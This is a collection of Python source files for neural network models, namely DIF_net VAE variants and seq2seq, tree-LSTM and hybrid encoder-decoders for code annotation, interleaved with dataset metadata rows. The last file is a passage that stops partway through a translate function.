from models.networks import IntroVAE from IAF.IAF import IAF_flow import torch from models.networks_v2 import * from IAF.layers.utils import accumulate_kl_div, reset_kl_div class DIF_net(IntroVAE): def __init__(self,cdim=3, hdim=512, channels=[64, 128, 256, 512, 512, 512], image_size=256, flow_depth = 3, flow_C=100, tanh_flag=True): super(DIF_net, self).__init__(cdim=cdim, hdim=hdim, channels=channels, image_size=image_size) self.tanh_flag=tanh_flag self.C = flow_C def reparameterize(self, mu, logvar): std = logvar.mul(0.5).exp_() eps = torch.randn_like(std) z = eps.mul(std).add_(mu) if self.tanh_flag: return self.C*torch.tanh(z/self.C) else: return z def sample(self,z): if self.tanh_flag: return self.decode(self.C * torch.tanh(z / self.C)) else: return self.decode(z) def sample_fake_eval(self,n): z = torch.randn(n,self.hdim).cuda() return self.sample(z) def get_latent(self,x): mu, logvar = self.encode(x) z = self.reparameterize(mu, logvar) return z class DIF_net_flow(IntroVAE): def __init__(self,cdim=3, hdim=512, channels=[64, 128, 256, 512, 512, 512], image_size=256, flow_depth = 3, flow_C=100, tanh_flag=True): super(DIF_net_flow, self).__init__(cdim=cdim, hdim=hdim, channels=channels, image_size=image_size) self.tanh_flag=tanh_flag self.C = flow_C self.flow = IAF_flow(hdim,flow_depth,tanh_flag,flow_C) def forward(self, x): mu, logvar = self.encode(x) xi,z,flow_log_det = self.reparameterize(mu, logvar) y = self.decode(z) return mu, logvar, z, y, flow_log_det,xi def reparameterize(self, mu, logvar): std = logvar.mul(0.5).exp_() eps = torch.randn_like(mu) xi = eps.mul(std).add_(mu) z,log_det = self.flow(xi,logvar) return xi,z,log_det def flow_forward_only(self,xi,logvar=None): output,_ = self.flow(xi, logvar) return output def encode_and_flow(self,x): mu, logvar = self.encode(x) xi,z,flow_log_det = self.reparameterize(mu, logvar) return mu, logvar, z, flow_log_det,xi def get_latent(self,x): return self.encode_and_flow(x) def sample(self,xi,logvar): with torch.no_grad(): z,_ = self.flow(xi,logvar) return self.decode(z.detach()) def sample_fake_eval(self, n): z = torch.randn(n, self.hdim).cuda() logvar = torch.zeros_like(z) return self.sample(z,logvar) class DIF_netv2(IntroVAEv2): def __init__(self,cdim=3, hdim=512, channels=[64, 128, 256, 512, 512, 512], image_size=256, flow_depth = 3, flow_C=100, tanh_flag=True): super(DIF_netv2, self).__init__(cdim=cdim, hdim=hdim, channels=channels, image_size=image_size) self.tanh_flag=tanh_flag self.C = flow_C def reparameterize(self, mu, logvar): std = logvar.mul(0.5).exp_() eps = torch.randn_like(std) z = eps.mul(std).add_(mu) if self.tanh_flag: return self.C*torch.tanh(z/self.C) else: return z def sample(self,z): if self.tanh_flag: return self.decode(self.C * torch.tanh(z / self.C)) else: return self.decode(z) def sample_fake_eval(self,n): z = torch.randn(n,self.hdim).cuda() return self.sample(z) def get_latent(self,x): mu, logvar = self.encode(x) z = self.reparameterize(mu, logvar) return z class DIF_net_flow_v2(IntroVAEv2): def __init__(self,cdim=3, hdim=512, channels=[64, 128, 256, 512, 512, 512], image_size=256, flow_depth = 3, flow_C=100, tanh_flag=True): super(DIF_net_flow, self).__init__(cdim=cdim, hdim=hdim, channels=channels, image_size=image_size) self.tanh_flag=tanh_flag self.C = flow_C self.flow = IAF_flow(hdim,flow_depth,tanh_flag,flow_C) def forward(self, x): mu, logvar = self.encode(x) xi,z,flow_log_det = self.reparameterize(mu, logvar) y = self.decode(z) return mu, logvar, z, y, flow_log_det,xi def reparameterize(self, mu, logvar): std = logvar.mul(0.5).exp_() eps = torch.randn_like(mu) xi = eps.mul(std).add_(mu) z,log_det = self.flow(xi,logvar) return xi,z,log_det def flow_forward_only(self,xi,logvar=None): output,_ = self.flow(xi, logvar) return output def encode_and_flow(self,x): mu, logvar = self.encode(x) xi,z,flow_log_det = self.reparameterize(mu, logvar) return mu, logvar, z, flow_log_det,xi def get_latent(self,x): return self.encode_and_flow(x) def sample(self,xi,logvar): with torch.no_grad(): z,_ = self.flow(xi,logvar) return self.decode(z.detach()) def sample_fake_eval(self, n): z = torch.randn(n, self.hdim).cuda() logvar = torch.zeros_like(z) return self.sample(z,logvar)

30.679558

106

0.570863

782

5,553

3.845269

0.102302

0.053209

0.031926

0.025939

0.9428

0

0.033062

0.313704

5,553

181

107

30.679558

0.75597

0

0.92517

0

1

0.176871

false

0

0.034014

0.013605

0.414966

0

null

0

1

0

1

0

null

0

7

6feb17a612343c1502c60175ffd32cedf39f7e6e

75

py

Python

agents/common/__init__.py

ksang/Voigt-Kampff

21f9ad172e5edf0fe50479eba816413f477b4c70

[ "MIT" ]

3

2018-07-28T09:21:45.000Z

2020-04-11T15:01:12.000Z

agents/common/__init__.py

ksang/Voigt-Kampff

21f9ad172e5edf0fe50479eba816413f477b4c70

[ "MIT" ]

null

agents/common/__init__.py

ksang/Voigt-Kampff

21f9ad172e5edf0fe50479eba816413f477b4c70

[ "MIT" ]

null

from agents.common.model import Linear from agents.common.model import CNN

25

38

0.84

12

75

5.25

0.583333

0.31746

0.507937

0.666667

0.857143

0

0.106667

75

2

39

37.5

0.940299

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

9

6ff57e855e36be170e538a562c47da7085f367a1

34,531

py

Python

code/code_annotation/lib/model/EncoderDecoder.py

sunlab-osu/CoaCor

e5df8fd38830590b9f132dd68bc26c630e41e509

[ "Apache-2.0" ]

30

2019-03-08T05:11:32.000Z

2021-12-09T12:11:29.000Z

code/code_annotation/lib/model/EncoderDecoder.py

sunlab-osu/CoaCor

e5df8fd38830590b9f132dd68bc26c630e41e509

[ "Apache-2.0" ]

1

2020-04-18T14:46:48.000Z

2020-06-17T20:08:37.000Z

code/code_annotation/lib/model/EncoderDecoder.py

sunlab-osu/CoaCor

e5df8fd38830590b9f132dd68bc26c630e41e509

[ "Apache-2.0" ]

4

2019-07-02T05:25:11.000Z

2021-05-27T12:52:21.000Z

import torch import torch.nn as nn import torch.nn.functional as F from torch.autograd import Variable from torch.nn.utils.rnn import pad_packed_sequence as unpack from torch.nn.utils.rnn import pack_padded_sequence as pack # import gensim import numpy as np import lib import sys import re import pdb class Encoder_W2V(nn.Module): def __init__(self, opt, dicts): self.layers = opt.layers self.num_directions = 2 if opt.brnn else 1 assert opt.rnn_size % self.num_directions == 0 self.hidden_size = opt.rnn_size // self.num_directions super(Encoder_W2V, self).__init__() # self.word_lut = nn.Embedding(dicts.size(), opt.word_vec_size, padding_idx=lib.Constants.PAD) self.embeddings = gensim.models.Word2Vec.load(opt.embedding_w2v + 'processed_all.train_xe.code.gz') self.rnn = nn.LSTM(opt.word_vec_size, self.hidden_size, num_layers=opt.layers, dropout=opt.dropout, bidirectional=opt.brnn) self.dicts = dicts self.opt = opt def embedding(self, input): emb = [] for i in range(input.shape[0]): emb_row = [] for w in self.dicts.convertToLabels(input[i].tolist(), lib.Constants.UNK_WORD): try: emb_row.append(self.embeddings.wv[w].astype(float)) except: emb_row.append(np.zeros((self.opt.word_vec_size), dtype=float)) emb.append(emb_row) emb = torch.Tensor(emb) if self.opt.gpus: emb = emb.cuda() # print "decoder-emb: " # print emb return emb def forward(self, inputs, hidden=None): input = inputs[0].data.cpu().numpy() emb = self.embedding(input) emb = pack(emb, inputs[1]) outputs, hidden_t = self.rnn(emb, hidden) outputs = unpack(outputs)[0] return hidden_t, outputs class Encoder(nn.Module): def __init__(self, opt, dicts): self.layers = opt.layers self.num_directions = 2 if opt.brnn else 1 assert opt.rnn_size % self.num_directions == 0 self.hidden_size = opt.rnn_size // self.num_directions super(Encoder, self).__init__() self.word_lut = nn.Embedding(dicts.size(), opt.word_vec_size, padding_idx=lib.Constants.PAD) self.rnn = nn.LSTM(opt.word_vec_size, self.hidden_size, dropout=opt.dropout, num_layers=opt.layers, bidirectional=opt.brnn) self.dicts = dicts self.opt = opt def forward(self, inputs, hidden=None): emb = pack(self.word_lut(inputs[0]), inputs[1]) outputs, hidden_t = self.rnn(emb, hidden) outputs = unpack(outputs)[0] return hidden_t, outputs class StackedLSTM(nn.Module): def __init__(self, num_layers, input_size, rnn_size, dropout): super(StackedLSTM, self).__init__() self.dropout = nn.Dropout(dropout) self.num_layers = num_layers self.layers = nn.ModuleList() for i in range(num_layers): self.layers.append(nn.LSTMCell(input_size, rnn_size)) input_size = rnn_size def forward(self, inputs, hidden): h_0, c_0 = hidden h_1, c_1 = [], [] for i, layer in enumerate(self.layers): h_1_i, c_1_i = layer(inputs, (h_0[i], c_0[i])) inputs = h_1_i if i != self.num_layers: inputs = self.dropout(inputs) h_1 += [h_1_i] c_1 += [c_1_i] h_1 = torch.stack(h_1) c_1 = torch.stack(c_1) return inputs, (h_1, c_1) class BinaryTreeLeafModule(nn.Module): def __init__(self, cuda, in_dim, mem_dim): super(BinaryTreeLeafModule, self).__init__() self.cudaFlag = cuda self.in_dim = in_dim self.mem_dim = mem_dim self.cx = nn.Linear(self.in_dim, self.mem_dim) self.ox = nn.Linear(self.in_dim, self.mem_dim) if self.cudaFlag: self.cx = self.cx.cuda() self.ox = self.ox.cuda() def forward(self, input): c = self.cx(input) o = F.sigmoid(self.ox(input)) h = o * F.tanh(c) return h, (c, h) class BinaryTreeComposer(nn.Module): def __init__(self, cuda, in_dim, mem_dim, gate_output=False): super(BinaryTreeComposer, self).__init__() self.cudaFlag = cuda self.in_dim = in_dim self.mem_dim = mem_dim self.gate_output = gate_output def new_gate(): lh = nn.Linear(self.mem_dim, self.mem_dim) rh = nn.Linear(self.mem_dim, self.mem_dim) return lh, rh self.ilh, self.irh = new_gate() self.lflh, self.lfrh = new_gate() self.rflh, self.rfrh = new_gate() self.ulh, self.urh = new_gate() if self.cudaFlag: self.ilh = self.ilh.cuda() self.irh = self.irh.cuda() self.lflh = self.lflh.cuda() self.lfrh = self.lfrh.cuda() self.rflh = self.rflh.cuda() self.rfrh = self.rfrh.cuda() self.ulh = self.ulh.cuda() self.urh = self.urh.cuda() if self.gate_output: self.olh, self.orh = new_gate() if self.cudaFlag: self.olh = self.olh.cuda() self.orh = self.orh.cuda() def forward(self, lc, lh , rc, rh): i = F.sigmoid(self.ilh(lh) + self.irh(rh)) lf = F.sigmoid(self.lflh(lh) + self.lfrh(rh)) rf = F.sigmoid(self.rflh(lh) + self.rfrh(rh)) update = F.tanh(self.ulh(lh) + self.urh(rh)) c = i* update + lf*lc + rf*rc if self.gate_output: o = F.sigmoid(self.olh(lh) + self.orh(rh)) h = o*F.tanh(c) else: h = F.tanh(c) return c, h class TreeEncoder_W2V(nn.Module): def __init__(self, opt, dicts): super(TreeEncoder_W2V, self).__init__() self.layers = opt.layers self.opt = opt self.dicts = dicts self.num_directions = 2 if opt.brnn else 1 assert opt.rnn_size % self.num_directions == 0 self.hidden_size = opt.rnn_size // self.num_directions self.embeddings = gensim.models.Word2Vec.load(opt.embedding_w2v + 'processed_all.train_xe.code.gz') # self.embeddings = Embeddings(opt, dicts) self.input_size = self.opt.word_vec_size #self.embeddings.embedding_size #100 if len(self.opt.gpus) >= 1: self.cudaFlag = True else: self.cudaFlag = False self.leaf_module = BinaryTreeLeafModule(self.cudaFlag, self.input_size, self.hidden_size) self.composer = BinaryTreeComposer(self.cudaFlag, self.input_size, self.hidden_size) def forward(self, tree, lengths): if not tree.children: try: node = torch.Tensor(self.embeddings.wv[tree.content]).unsqueeze(0) except: node = torch.zeros(1, self.input_size) if self.cudaFlag: node = node.cuda() # node = self.embeddings(Variable(torch.LongTensor([self.dicts.lookup(tree.content, onmt.Constants.UNK)]).unsqueeze(1)).cuda()) # node.data.squeeze_(1) # print "node: ", node.size() # print node # output, state = self.leaf_module.forward(Variable(node, requires_grad=True)) output, state = self.leaf_module.forward(torch.Tensor(node, requires_grad=True)) elif tree.children: # for idx in xrange(tree.num_children): lo, (lc, lh) = self.forward(tree.children[0], lengths) ro, (rc, rh) = self.forward(tree.children[1], lengths) # lc, lh, lo, rc, rh, ro = self.get_child_state(tree) state = self.composer.forward(lc, lh, rc, rh) output = torch.cat([lo, ro]) # del lc, lh, lo, rc, rh, ro if not tree.parent: # max_length = int(torch.max(lengths.data)) max_length = np.max(lengths) output.data.unsqueeze_(1) supl = max_length - output.size()[0] if supl > 0: output.data = torch.cat([output.data, torch.zeros((supl, output.size()[1], output.size()[2])).cuda()], 0) state[0].data.unsqueeze_(1) state[1].data.unsqueeze_(1) return output, state # def get_child_state(self, tree): # lc, lh = tree.children[0].state # lo = tree.children[0].output # rc, rh = tree.children[1].state # ro = tree.children[1].output # return lc, lh, lo, rc, rh, ro class TreeEncoder(nn.Module): def __init__(self, opt, dicts): super(TreeEncoder, self).__init__() self.layers = opt.layers self.opt = opt self.dicts = dicts self.num_directions = 2 if opt.brnn else 1 assert opt.rnn_size % self.num_directions == 0 self.hidden_size = opt.rnn_size // self.num_directions # self.embeddings = gensim.models.Word2Vec.load(opt.embedding_w2v + 'processed_all.train_xe.code.gz') self.word_lut = nn.Embedding(dicts.size(), opt.word_vec_size, padding_idx=lib.Constants.PAD) self.input_size = self.opt.word_vec_size #self.embeddings.embedding_size #100 if len(self.opt.gpus) >= 1: self.cudaFlag = True else: self.cudaFlag = False self.leaf_module = BinaryTreeLeafModule(self.cudaFlag, self.input_size, self.hidden_size) self.composer = BinaryTreeComposer(self.cudaFlag, self.input_size, self.hidden_size) def forward(self, tree, lengths): if not tree.children: # try: # node = torch.Tensor(self.embeddings.wv[tree.content]).unsqueeze(0) # except: # node = torch.zeros(1, self.input_size) # if self.cudaFlag: # node = node.cuda() # node = self.word_lut(Variable(torch.LongTensor([self.dicts.lookup(tree.content, lib.Constants.UNK)])).cuda()) node = self.word_lut( torch.LongTensor([self.dicts.lookup(tree.content, lib.Constants.UNK)]).cuda()) output, state = self.leaf_module.forward(node) # Variable(node, requires_grad=True) elif tree.children: # for idx in xrange(tree.num_children): lo, (lc, lh) = self.forward(tree.children[0], lengths) ro, (rc, rh) = self.forward(tree.children[1], lengths) # lc, lh, lo, rc, rh, ro = self.get_child_state(tree) state = self.composer.forward(lc, lh, rc, rh) output = torch.cat([lo, ro]) # del lc, lh, lo, rc, rh, ro if not tree.parent: # max_length = int(torch.max(lengths.data)) max_length = np.max(lengths) output.data.unsqueeze_(1) supl = max_length - output.size()[0] if supl > 0: output.data = torch.cat([output.data, torch.zeros((supl, output.size()[1], output.size()[2])).cuda()], 0) state[0].data.unsqueeze_(1) state[1].data.unsqueeze_(1) return output, state # def get_child_state(self, tree): # lc, lh = tree.children[0].state # lo = tree.children[0].output # rc, rh = tree.children[1].state # ro = tree.children[1].output # return lc, lh, lo, rc, rh, ro class HybridEncoder(nn.Module): def __init__(self, opt, dicts): super(HybridEncoder, self).__init__() self.layers = opt.layers self.opt = opt self.dicts = dicts self.num_directions = 2 if opt.brnn else 1 assert opt.rnn_size % self.num_directions == 0 self.hidden_size = opt.rnn_size // self.num_directions # self.embeddings = gensim.models.Word2Vec.load(opt.embedding_w2v + 'processed_all.train_xe.code.gz') self.word_lut = nn.Embedding(dicts.size(), opt.word_vec_size, padding_idx=lib.Constants.PAD) self.input_size = self.opt.word_vec_size #self.embeddings.embedding_size #100 if len(self.opt.gpus) >= 1: self.cudaFlag = True else: self.cudaFlag = False self.leaf_module = BinaryTreeLeafModule(self.cudaFlag, self.input_size, self.hidden_size) self.composer = BinaryTreeComposer(self.cudaFlag, self.input_size, self.hidden_size) def forward(self, tree, lengths): if not tree.children: # node = self.word_lut(Variable(torch.LongTensor([self.dicts.lookup(tree.content, lib.Constants.UNK)])).cuda()) node = self.word_lut( torch.LongTensor([self.dicts.lookup(tree.content, lib.Constants.UNK)]).cuda()) output, state = self.leaf_module.forward(node) # Variable(node, requires_grad=True) elif tree.children: # for idx in xrange(tree.num_children): lo, (lc, lh) = self.forward(tree.children[0], lengths) ro, (rc, rh) = self.forward(tree.children[1], lengths) # lc, lh, lo, rc, rh, ro = self.get_child_state(tree) state = self.composer.forward(lc, lh, rc, rh) output = torch.cat([lo, ro]) # del lc, lh, lo, rc, rh, ro if not tree.parent: # max_length = int(torch.max(lengths.data)) max_length = np.max(lengths) output.data.unsqueeze_(1) supl = max_length - output.size()[0] if supl > 0: output.data = torch.cat([output.data, torch.zeros((supl, output.size()[1], output.size()[2])).cuda()], 0) state[0].data.unsqueeze_(1) state[1].data.unsqueeze_(1) return output, state class TreeDecoder_W2V(nn.Module): def __init__(self, opt, dicts): self.layers = opt.layers self.input_feed = opt.input_feed input_size = opt.word_vec_size if self.input_feed: input_size += opt.rnn_size super(TreeDecoder_W2V, self).__init__() # self.word_lut = nn.Embedding(dicts.size(), opt.word_vec_size, padding_idx=lib.Constants.PAD) self.embeddings = gensim.models.Word2Vec.load(opt.embedding_w2v + 'processed_all.train_xe.comment.gz') self.rnn = StackedLSTM(opt.layers, input_size, opt.rnn_size, opt.dropout) if opt.has_attn: self.attn = lib.GlobalAttention(opt.rnn_size) self.dropout = nn.Dropout(opt.dropout) self.hidden_size = opt.rnn_size self.opt = opt self.dicts = dicts def embedding(self, input): # print "emb-input: " # print input emb = [] for i in range(input.shape[0]): emb_row = [] for w in self.dicts.convertToLabels(input[i].tolist(), lib.Constants.UNK_WORD): try: emb_row.append(self.embeddings.wv[w].astype(float)) except: emb_row.append(np.zeros((self.opt.word_vec_size), dtype=float)) emb.append(emb_row) emb = torch.Tensor(emb) if self.opt.gpus: emb = emb.cuda() # print "decoder-emb: " # print emb return emb def step(self, emb, output, hidden, context): if self.input_feed: emb = torch.cat([emb, output], 1) output, hidden = self.rnn(emb, hidden) # print "decoder-output: " # print output # print "decoder-context: " # print context if self.opt.has_attn: output, attn = self.attn(output, context) output = self.dropout(output) return output, hidden def forward(self, inputs, init_states): emb, output, hidden, context = init_states # print "decoder-inputs: " # print inputs # embs = self.word_lut(inputs) # print "decoder-embs: " # print embs input = inputs.data.cpu().numpy() embs = self.embedding(input) outputs = [] for i in range(inputs.size(0)): output, hidden = self.step(emb, output, hidden, context) outputs.append(output) emb = embs[i] outputs = torch.stack(outputs) return outputs class TreeDecoder(nn.Module): def __init__(self, opt, dicts): self.layers = opt.layers self.input_feed = opt.input_feed input_size = opt.word_vec_size if self.input_feed: input_size += opt.rnn_size super(TreeDecoder, self).__init__() self.word_lut = nn.Embedding(dicts.size(), opt.word_vec_size, padding_idx=lib.Constants.PAD) self.rnn = StackedLSTM(opt.layers, input_size, opt.rnn_size, opt.dropout) if opt.has_attn: self.attn = lib.GlobalAttention(opt.rnn_size) self.dropout = nn.Dropout(opt.dropout) self.hidden_size = opt.rnn_size self.opt = opt def step(self, emb, output, hidden, context): if self.input_feed: emb = torch.cat([emb, output], 1) output, hidden = self.rnn(emb, hidden) if self.opt.has_attn: output, attn = self.attn(output, context) output = self.dropout(output) return output, hidden def forward(self, inputs, init_states): emb, output, hidden, context = init_states embs = self.word_lut(inputs) outputs = [] for i in range(inputs.size(0)): output, hidden = self.step(emb, output, hidden, context) outputs.append(output) emb = embs[i] outputs = torch.stack(outputs) return outputs class HybridDecoder(nn.Module): def __init__(self, opt, dicts): self.layers = opt.layers self.input_feed = opt.input_feed input_size = opt.word_vec_size if self.input_feed: input_size += opt.rnn_size super(HybridDecoder, self).__init__() self.word_lut = nn.Embedding(dicts.size(), opt.word_vec_size, padding_idx=lib.Constants.PAD) self.rnn = StackedLSTM(opt.layers, input_size, opt.rnn_size, opt.dropout) if opt.has_attn: # self.text_attn = lib.GlobalAttention(opt.rnn_size) self.attn = lib.HybridAttention(opt.rnn_size) else: self.linear_out = nn.Linear(opt.rnn_size * 2, opt.rnn_size, bias=False) self.dropout = nn.Dropout(opt.dropout) self.hidden_size = opt.rnn_size self.opt = opt def step(self, emb, output, hidden_tree, context_tree, hidden_txt, context_txt): if self.input_feed: emb = torch.cat([emb, output], 1) output_tree, hidden_tree = self.rnn(emb, hidden_tree) output_txt, hidden_txt = self.rnn(emb, hidden_txt) if self.opt.has_attn: output, attn_tree, attn_txt = self.attn(output_tree, context_tree, output_txt, context_txt) else: output = self.linear_out(torch.cat((output_tree, output_txt), 1)) output = self.dropout(output) return output, hidden_tree, hidden_txt def forward(self, inputs, init_states): emb, output, hidden_tree, context_tree, hidden_txt, context_txt = init_states embs = self.word_lut(inputs) outputs = [] for i in range(inputs.size(0)): output, hidden_tree, hidden_txt = self.step(emb, output, hidden_tree, context_tree, hidden_txt, context_txt) outputs.append(output) emb = embs[i] outputs = torch.stack(outputs) return outputs class Hybrid2SeqModel(nn.Module): def __init__(self, code_encoder, text_encoder, decoder, generator, opt): super(Hybrid2SeqModel, self).__init__() self.code_encoder = code_encoder self.text_encoder = text_encoder self.decoder = decoder self.generator = generator self.opt = opt def make_init_decoder_output(self, context): batch_size = context.size(1) h_size = (batch_size, self.decoder.hidden_size) # return Variable(context.data.new(*h_size).zero_(), requires_grad=False) return torch.zeros(*h_size, dtype=context.data.dtype, requires_grad=False) def initialize(self, inputs, eval): tgt = inputs[2] trees = inputs[1][0] lengths = inputs[1][1] src_txt = inputs[0] enc_context_padded_tree, enc_hidden_tree0, enc_hidden_tree1 = [], [], [] # code encoder for i, tree in enumerate(trees): enc_ctx_txt, enc_hidden_tree = self.code_encoder(tree, lengths) # enc_contex <=> outputs enc_context_padded_tree.append(enc_ctx_txt) enc_hidden_tree0.append(enc_hidden_tree[0]) enc_hidden_tree1.append(enc_hidden_tree[1]) enc_context_padded_tree = torch.cat(enc_context_padded_tree, 1) enc_hidden_tree = (torch.cat(enc_hidden_tree0, 1), torch.cat(enc_hidden_tree1, 1)) enc_hidden_txt, enc_context_txt = self.text_encoder(src_txt) init_output = self.make_init_decoder_output(enc_context_txt) # init_token = Variable(torch.LongTensor([lib.Constants.BOS] * init_output.size(0)), volatile=eval) init_token = torch.LongTensor([lib.Constants.BOS] * init_output.size(0)) if self.opt.cuda: init_token = init_token.cuda() emb = self.decoder.word_lut(init_token) return tgt, (emb, init_output, enc_hidden_tree, enc_context_padded_tree.transpose(0, 1), enc_hidden_txt, enc_context_txt.transpose(0,1)) def forward(self, inputs, eval, regression=False): targets, init_states = self.initialize(inputs, eval) outputs = self.decoder(targets, init_states) if regression: logits = self.generator(outputs) return logits.view_as(targets) return outputs def backward(self, outputs, targets, weights, normalizer, criterion, regression=False): grad_output, loss = self.generator.backward(outputs, targets, weights, normalizer, criterion, regression) outputs.backward(grad_output) return loss def predict(self, outputs, targets, weights, criterion): return self.generator.predict(outputs, targets, weights, criterion) def translate(self, inputs, max_length): targets, init_states = self.initialize(inputs, eval=True) # emb, output, hidden, context = init_states emb, output, hidden_tree, context_tree, hidden_txt, context_txt = init_states preds = [] batch_size = targets.size(1) num_eos = targets[0].data.byte().new(batch_size).zero_() for i in range(max_length): # output, hidden = self.decoder.step(emb, output, hidden, context) output, hidden_tree, hidden_txt = self.decoder.step(emb, output, hidden_tree, context_tree, hidden_txt, context_txt) logit = self.generator(output) pred = logit.max(1)[1].view(-1).data preds.append(pred) # Stop if all sentences reach EOS. num_eos |= (pred == lib.Constants.EOS) if num_eos.sum() == batch_size: break # emb = self.decoder.word_lut(Variable(pred)) emb = self.decoder.word_lut(pred) preds = torch.stack(preds) return preds def sample(self, inputs, max_length): targets, init_states = self.initialize(inputs, eval=False) emb, output, hidden_tree, context_tree, hidden_txt, context_txt = init_states outputs = [] samples = [] batch_size = targets.size(1) num_eos = targets[0].data.byte().new(batch_size).zero_() for i in range(max_length): # output, hidden = self.decoder.step(emb, output, hidden, context) output, hidden_tree, hidden_txt = self.decoder.step(emb, output, hidden_tree, context_tree, hidden_txt, context_txt) outputs.append(output) dist = F.softmax(self.generator(output)) sample = dist.multinomial(1, replacement=False).view(-1).data samples.append(sample) # Stop if all sentences reach EOS. num_eos |= (sample == lib.Constants.EOS) if num_eos.sum() == batch_size: break # emb = self.decoder.word_lut(Variable(sample)) emb = self.decoder.word_lut(sample) outputs = torch.stack(outputs) samples = torch.stack(samples) return samples, outputs class Tree2SeqModel(nn.Module): def __init__(self, encoder, decoder, generator, opt): super(Tree2SeqModel, self).__init__() self.encoder = encoder self.decoder = decoder self.generator = generator self.opt = opt def make_init_decoder_output(self, context): batch_size = context.size(1) h_size = (batch_size, self.decoder.hidden_size) # return Variable(context.data.new(*h_size).zero_(), requires_grad=False) return torch.zeros(*h_size, dtype=context.data.dtype, requires_grad=False) def _fix_enc_hidden(self, h): # the encoder hidden is (layers*directions) x batch x dim # we need to convert it to layers x batch x (directions*dim) if self.encoder.num_directions == 2: return h.view(h.size(0) // 2, 2, h.size(1), h.size(2)) \ .transpose(1, 2).contiguous() \ .view(h.size(0) // 2, h.size(1), h.size(2) * 2) else: return h def initialize(self, inputs, eval): # src = inputs[2] tgt = inputs[2] # trees = inputs[4][0] # lengths = inputs[4][1] trees = inputs[1][0] lengths = inputs[1][1] # lengths = [tree.leaf_count() for tree in trees] enc_context_padded, enc_hidden0, enc_hidden1 = [], [], [] # print "tree_lengths: ", lengths for i, tree in enumerate(trees):# encoding trees ONE BY ONE enc_ctx, enc_hidden = self.encoder(tree, lengths) # enc_contex <=> outputs enc_context_padded.append(enc_ctx) enc_hidden0.append(enc_hidden[0]) enc_hidden1.append(enc_hidden[1]) # print "enc_context_padded: " # print enc_context_padded enc_context_padded = torch.cat(enc_context_padded, 1) enc_hidden = (torch.cat(enc_hidden0, 1), torch.cat(enc_hidden1, 1)) init_output = self.make_init_decoder_output(enc_context_padded) enc_hidden = (self._fix_enc_hidden(enc_hidden[0]), self._fix_enc_hidden(enc_hidden[1])) # init_token = Variable(torch.LongTensor([lib.Constants.BOS] * init_output.size(0)), volatile=eval) init_token = torch.LongTensor([lib.Constants.BOS] * init_output.size(0)) if self.opt.cuda: init_token = init_token.cuda() emb = self.decoder.word_lut(init_token) return tgt, (emb, init_output, enc_hidden, enc_context_padded.transpose(0, 1)) def forward(self, inputs, eval, regression=False): targets, init_states = self.initialize(inputs, eval) outputs = self.decoder(targets, init_states) if regression: logits = self.generator(outputs) return logits.view_as(targets) return outputs def backward(self, outputs, targets, weights, normalizer, criterion, regression=False): grad_output, loss = self.generator.backward(outputs, targets, weights, normalizer, criterion, regression) outputs.backward(grad_output) return loss def predict(self, outputs, targets, weights, criterion): return self.generator.predict(outputs, targets, weights, criterion) def translate(self, inputs, max_length): targets, init_states = self.initialize(inputs, eval=True) emb, output, hidden, context = init_states preds = [] batch_size = targets.size(1) num_eos = targets[0].data.byte().new(batch_size).zero_() for i in range(max_length): output, hidden = self.decoder.step(emb, output, hidden, context) logit = self.generator(output) pred = logit.max(1)[1].view(-1).data preds.append(pred) # Stop if all sentences reach EOS. num_eos |= (pred == lib.Constants.EOS) if num_eos.sum() == batch_size: break # emb = self.decoder.word_lut(Variable(pred)) emb = self.decoder.word_lut(pred) preds = torch.stack(preds) return preds def sample(self, inputs, max_length): targets, init_states = self.initialize(inputs, eval=False) emb, output, hidden, context = init_states outputs = [] samples = [] batch_size = targets.size(1) num_eos = targets[0].data.byte().new(batch_size).zero_() for i in range(max_length): output, hidden = self.decoder.step(emb, output, hidden, context) outputs.append(output) dist = F.softmax(self.generator(output)) sample = dist.multinomial(1, replacement=False).view(-1).data samples.append(sample) # Stop if all sentences reach EOS. num_eos |= (sample == lib.Constants.EOS) if num_eos.sum() == batch_size: break # emb = self.decoder.word_lut(Variable(sample)) emb = self.decoder.word_lut(sample) outputs = torch.stack(outputs) samples = torch.stack(samples) return samples, outputs class Seq2SeqModel(nn.Module): def __init__(self, encoder, decoder, generator, opt): super(Seq2SeqModel, self).__init__() self.encoder = encoder self.decoder = decoder self.generator = generator self.opt = opt def make_init_decoder_output(self, context): batch_size = context.size(1) h_size = (batch_size, self.decoder.hidden_size) # return Variable(context.data.new(*h_size).zero_(), requires_grad=False) return torch.zeros(*h_size, dtype=context.data.dtype, requires_grad=False) def _fix_enc_hidden(self, h): # the encoder hidden is (layers*directions) x batch x dim # we need to convert it to layers x batch x (directions*dim) if self.encoder.num_directions == 2: return h.view(h.size(0) // 2, 2, h.size(1), h.size(2)) \ .transpose(1, 2).contiguous() \ .view(h.size(0) // 2, h.size(1), h.size(2) * 2) else: return h def initialize(self, inputs, eval): src = inputs[0] tgt = inputs[2] enc_hidden, context = self.encoder(src) init_output = self.make_init_decoder_output(context) enc_hidden = (self._fix_enc_hidden(enc_hidden[0]), self._fix_enc_hidden(enc_hidden[1])) # init_token = Variable(torch.LongTensor([lib.Constants.BOS] * init_output.size(0)), volatile=eval) init_token = torch.LongTensor([lib.Constants.BOS] * init_output.size(0)) if self.opt.cuda: init_output = init_output.cuda() init_token = init_token.cuda() emb = self.decoder.word_lut(init_token) return tgt, (emb, init_output, enc_hidden, context.transpose(0, 1)) def forward(self, inputs, eval, regression=False): targets, init_states = self.initialize(inputs, eval) outputs = self.decoder(targets, init_states) if regression: logits = self.generator(outputs) return logits.view_as(targets) return outputs def backward(self, outputs, targets, weights, normalizer, criterion, regression=False): grad_output, loss = self.generator.backward(outputs, targets, weights, normalizer, criterion, regression) outputs.backward(grad_output) return loss def predict(self, outputs, targets, weights, criterion): return self.generator.predict(outputs, targets, weights, criterion) def translate(self, inputs, max_length): targets, init_states = self.initialize(inputs, eval=True) emb, output, hidden, context = init_states preds = [] batch_size = targets.size(1) num_eos = targets[0].data.byte().new(batch_size).zero_() if self.opt.predict_mask: block_src = torch.tensor([-np.inf] * batch_size).view(-1, 1) block_mask = torch.zeros(batch_size, self.decoder.word_lut.num_embeddings, dtype=torch.float32) if self.opt.cuda: block_src = block_src.cuda() block_mask = block_mask.cuda() block_mask[:, lib.Constants.UNK] = -np.inf for i in range(max_length): output, hidden = self.decoder.step(emb, output, hidden, context) logit = self.generator(output) if self.opt.predict_mask: # block repetitive words (except BOS, EOS) and UNK logit += block_mask pred = logit.max(1)[1].view(-1).data # update mask block_mask.scatter_(1, pred.view(-1, 1), block_src) 